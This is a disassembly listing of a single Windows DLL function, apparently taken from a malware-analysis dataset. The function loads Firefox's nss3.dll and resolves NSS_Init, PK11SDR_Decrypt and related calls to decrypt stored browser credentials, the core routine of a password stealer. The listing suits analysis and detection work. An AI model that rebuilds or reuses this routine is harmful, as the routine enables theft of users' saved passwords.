Function at 0x180015730
Capabilities:
Link many functions at runtime
Set current directory

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xd0]
sub rsp, 0x1d0
mov rax, qword [0x18014a040]
xor rax, rsp
mov qword [rbp + 0xc0], rax
mov rsi, rcx
mov qword [rsp + 0x50], rcx
xor r13d, r13d
mov dword [rsp + 0x48], r13d
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm0
mov qword [rcx], r13
mov qword [rcx + 8], r13
mov qword [rcx + 0x10], r13
mov qword [rcx + 0x18], r13
lea ecx, [r13 + 0x10]
call fcn.180028cf0
mov qword [rax + 8], r13
mov qword [rsi], rax
mov qword [rax], rsi
mov dword [rsp + 0x48], 1
lea rcx, [rbp - 0x70]
call fcn.18000f3d0
nop
lea rcx, [rbp - 0x70]
call fcn.18000eaa0
test al, al
je 0x180015efe
mov r14, qword [rbp - 0x58]
movabs rax, 0x7fffffffffffffff
sub rax, r14
cmp rax, 3
jb 0x180015f7c
lea r12, [rbp - 0x68]
cmp qword [rbp - 0x50], 0xf
cmova r12, qword [rbp - 0x68]
mov qword [rsp + 0x20], r13
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x38], xmm1
lea r15, [r14 + 3]
lea ebx, [r13 + 0xf]
lea rdi, [rsp + 0x28]
lea rax, [rsp + 0x60]
mov qword [rbp + 0xb8], rax
lea ecx, [rbx + 1]
call fcn.180028cf0
mov qword [rbp + 0xb0], rax
lea rcx, [rsp + 0x20]
mov qword [rax], rcx
mov qword [rax + 8], r13
mov qword [rsp + 0x20], rax
lea ecx, [rbx + 7]
cmp r15, rbx
jbe 0x18001587a
mov rbx, r15
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
jbe 0x180015862
mov rbx, rax
jmp 0x180015869
cmp rbx, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
call fcn.180027e50
mov rdi, rax
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x40], rbx
mov r8, r14
mov rdx, r12
mov rcx, rdi
call fcn.180106400
mov eax, dword [0x180138a6c]
mov word [rdi + r14], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_46]
mov byte [rdi + r14 + 2], al
mov byte [rdi + r15], 0
mov dword [rsp + 0x48], 5
lea rdx, [rsp + 0x20]
lea rcx, [rbp - 0x28]
call fcn.180015160
nop
lea rcx, [rsp + 0x20]
call fcn.1800096b0
mov r8, qword [rsp + 0x40]
cmp r8, 0xf
jbe 0x1800158ec
inc r8
mov rdx, qword [rsp + 0x28]
lea rcx, [rsp + 0x20]
call fcn.1800099c0
movdqa xmm0, xmmword [0x180139d90]
movdqu xmmword [rsp + 0x38], xmm0
mov byte [rsp + 0x28], 0
mov rcx, qword [rsp + 0x20]
mov qword [rsp + 0x20], r13
mov edx, reloc.WS2_32.dll_recv
call fcn.180028cb0
lea rdx, [rbp - 0x70]
lea rcx, [rbp]
call fcn.1800109b0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
movups xmmword [rbp - 0x38], xmm0
lea rdx, [rbp]
lea rcx, [rbp - 0x48]
call fcn.180014bc0
nop
lea rcx, [rbp + 0x30]
call fcn.180013b30
nop
mov qword [rsp + 0x20], r13
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x40], r13
mov rdi, qword [rbp - 0x10]
lea r14, [rbp - 0x20]
cmp qword [rbp - 8], 0xf
cmova r14, qword [rbp - 0x20]
movabs r12, 0x7fffffffffffffff
cmp rdi, r12
ja 0x180015f82
lea rax, [rsp + 0x60]
mov qword [rbp + 0xb8], rax
mov ecx, reloc.WS2_32.dll_recv
call fcn.180028cf0
mov qword [rbp + 0xb0], rax
lea rcx, [rsp + 0x20]
mov qword [rax], rcx
mov qword [rax + 8], r13
mov qword [rsp + 0x20], rax
cmp rdi, 0xf
ja 0x1800159ce
mov qword [rsp + 0x38], rdi
mov edx, reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x40], rdx
movups xmm0, xmmword [r14]
movups xmmword [rsp + 0x28], xmm0
jmp 0x180015a19
mov rbx, rdi
or rbx, 0xf
cmp rbx, r12
jbe 0x1800159df
mov rbx, r12
jmp 0x1800159ec
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
lea rcx, [rbx + 1]
call fcn.180027e50
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x40], rbx
lea r8, [rdi + 1]
mov rdx, r14
mov rcx, rax
call fcn.180106400
nop
mov rdx, qword [rsp + 0x40]
movsd xmm0, qword [str.nss3.dll]
movsd qword [rbp + 0xb0], xmm0
movzx eax, byte [0x180137d08]
mov byte [rbp + 0xb8], al
lea rcx, [rsp + 0x28]
cmp rdx, 0xf
cmova rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, [rbp + 0xb0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
jne 0x180015a74
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Library_couldnt_loaded_..__d_n
call fcn.180009550
lea rcx, [rsp + 0x20]
call fcn.1800096b0
mov r8, qword [rsp + 0x40]
cmp r8, 0xf
jbe 0x180015a9b
inc r8
mov rdx, qword [rsp + 0x28]
lea rcx, [rsp + 0x20]
call fcn.1800099c0
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x40], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x28], 0
mov rcx, qword [rsp + 0x20]
mov qword [rsp + 0x20], r13
mov edx, reloc.WS2_32.dll_recv
call fcn.180028cb0
test rbx, rbx
jne 0x180015ada
lea rdx, str.Load_library_failse_
lea rcx, [0x18014c9d0]
call fcn.180022020
lea rdx, str.NSS_Init
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18014e530], rax
lea rdx, str.PL_Base64Decode
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18014e548], rax
lea rdx, str.PK11SDR_Decrypt
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18014e540], rax
lea rdx, str.PK11_Authenticate
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18014e528], rax
lea rdx, str.PK11_GetInternalKeySlot
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18014e520], rax
lea rdx, str.PK11_FreeSlot
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18014e538], rax
lea rdx, str.NSS_Shutdown
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, qword [rbp - 0x58]
mov rax, r12
sub rax, r15
cmp rax, 4
jb 0x180015f76
lea r12, [rbp - 0x68]
cmp qword [rbp - 0x50], 0xf
cmova r12, qword [rbp - 0x68]
mov qword [rsp + 0x68], r13
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
lea r14, [r15 + 4]
mov ebx, reloc.WS2_32.dll_ntohs
lea rdi, [rsp + 0x70]
lea rax, [rsp + 0x60]
mov qword [rbp + 0xb8], rax
lea ecx, [rbx + 1]
call fcn.180028cf0
mov qword [rbp + 0xb0], rax
lea rcx, [rsp + 0x68]
mov qword [rax], rcx
mov qword [rax + 8], r13
mov qword [rsp + 0x68], rax
cmp r14, rbx
jbe 0x180015c23
mov rbx, r14
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
jbe 0x180015c05
mov rbx, rax
jmp 0x180015c12
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
lea rcx, [rbx + 1]
call fcn.180027e50
mov rdi, rax
mov qword [rsp + 0x70], rax
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x78], rbx
mov r8, r15
mov rdx, r12
mov rcx, rdi
call fcn.180106400
mov dword [rdi + r15], 0x5c2e2e5c
mov byte [rdi + r14], 0
mov dword [rsp + 0x48], 7
mov rax, qword [0x18014e530]
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rcx, qword [rsp + 0x70]
call rax
mov r14, qword [rbp - 0x38]
mov rbx, qword [rbp - 0x40]
cmp rbx, r14
je 0x180015d9c
add rbx, 8
nop dword [rax]
lea rax, [rbx - 8]
lea rcx, [rbp + 0x30]
cmp rcx, rax
je 0x180015ca7
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x180015c9a
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
lea rcx, [rbp + 0x30]
call fcn.18001fa20
lea rdx, [rbx + 0x20]
lea rcx, [rsp + 0x20]
call fcn.18001cbd0
mov rcx, rax
call fcn.180009720
mov rcx, rax
call fcn.180028820
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x180015cd0
mov rdx, rax
lea rcx, [rbp + 0x58]
call fcn.18001fa20
lea rdx, [rbx + 0x48]
lea rcx, [rsp + 0x20]
call fcn.18001cbd0
mov rcx, rax
call fcn.180009720
mov rcx, rax
call fcn.180028820
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x180015d10
mov rdx, rax
lea rcx, [rbp + 0x80]
call fcn.18001fa20
mov rdi, qword [rsi + 0x10]
cmp rdi, qword [rsi + 0x18]
je 0x180015d7c
mov qword [rbp + 0xb0], rdi
lea rdx, [rbp + 0x30]
mov rcx, rdi
call fcn.18001cbd0
nop
lea rcx, [rdi + 0x28]
lea rdx, [rbp + 0x58]
call fcn.18001cbd0
nop
lea rcx, [rdi + 0x50]
lea rdx, [rbp + 0x80]
call fcn.18001cbd0
nop
mov rdx, qword [rsi + 0x10]
mov r8, rdx
mov rcx, rsi
call fcn.18001f710
add qword [rsi + 0x10], 0x78
jmp 0x180015d8b
lea r8, [rbp + 0x30]
mov rdx, rdi
mov rcx, rsi
call fcn.180026920
add rbx, 0x78
lea rax, [rbx - 8]
cmp rax, r14
jne 0x180015c80
lea rcx, [rsp + 0x68]
call fcn.1800096b0
mov r8, qword [rbp - 0x78]
cmp r8, 0xf
jbe 0x180015dc2
inc r8
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x68]
call fcn.1800099c0
movdqa xmm0, xmmword [0x180139d90]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], 0
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x68], r13
mov edx, reloc.WS2_32.dll_recv
call fcn.180028cb0
nop
lea rcx, [rbp + 0x30]
call fcn.180013c00
nop
lea rcx, [rbp - 0x48]
call fcn.1800096b0
mov rbx, qword [rbp - 0x40]
test rbx, rbx
je 0x180015e5e
mov rdi, qword [rbp - 0x38]
cmp rbx, rdi
je 0x180015e25
nop
mov rcx, rbx
call fcn.180013c00
add rbx, 0x78
cmp rbx, rdi
jne 0x180015e10
mov rbx, qword [rbp - 0x40]
mov rcx, qword [rbp - 0x30]
sub rcx, rbx
movabs rax, 0x8888888888888889
imul rcx
add rdx, rcx
sar rdx, 6
mov r8, rdx
shr r8, 0x3f
add r8, rdx
mov rdx, rbx
call fcn.1800206a0
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r13
mov rcx, qword [rbp - 0x48]
mov qword [rbp - 0x48], r13
mov edx, reloc.WS2_32.dll_recv
call fcn.180028cb0
nop
lea rcx, [rbp]
call fcn.1800096b0
mov r8, qword [rbp + 0x20]
cmp r8, 0xf
jbe 0x180015e94
inc r8
mov rdx, qword [rbp + 8]
lea rcx, [rbp]
call fcn.1800099c0
movdqa xmm0, xmmword [0x180139d90]
movdqu xmmword [rbp + 0x18], xmm0
mov byte [rbp + 8], 0
mov rcx, qword [rbp]
mov qword [rbp], r13
mov edx, reloc.WS2_32.dll_recv
call fcn.180028cb0
nop
lea rcx, [rbp - 0x28]
call fcn.1800096b0
mov r8, qword [rbp - 8]
cmp r8, 0xf
jbe 0x180015edb
inc r8
mov rdx, qword [rbp - 0x20]
lea rcx, [rbp - 0x28]
call fcn.1800099c0
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x20], 0
mov rcx, qword [rbp - 0x28]
mov qword [rbp - 0x28], r13
mov edx, reloc.WS2_32.dll_recv
call fcn.180028cb0
nop
lea rcx, [rbp - 0x70]
call fcn.1800096b0
mov r8, qword [rbp - 0x50]
cmp r8, 0xf
jbe 0x180015f21
inc r8
mov rdx, qword [rbp - 0x68]
lea rcx, [rbp - 0x70]
call fcn.1800099c0
mov qword [rbp - 0x58], r13
mov qword [rbp - 0x50], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x68], 0
mov rcx, qword [rbp - 0x70]
mov qword [rbp - 0x70], r13
mov edx, reloc.WS2_32.dll_recv
call fcn.180028cb0
mov rax, rsi
mov rcx, qword [rbp + 0xc0]
xor rcx, rsp
call fcn.180028950
lea r11, [rsp + 0x1d0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.180009fe0
nop
call fcn.180009fe0
nop
call fcn.180009fe0
int3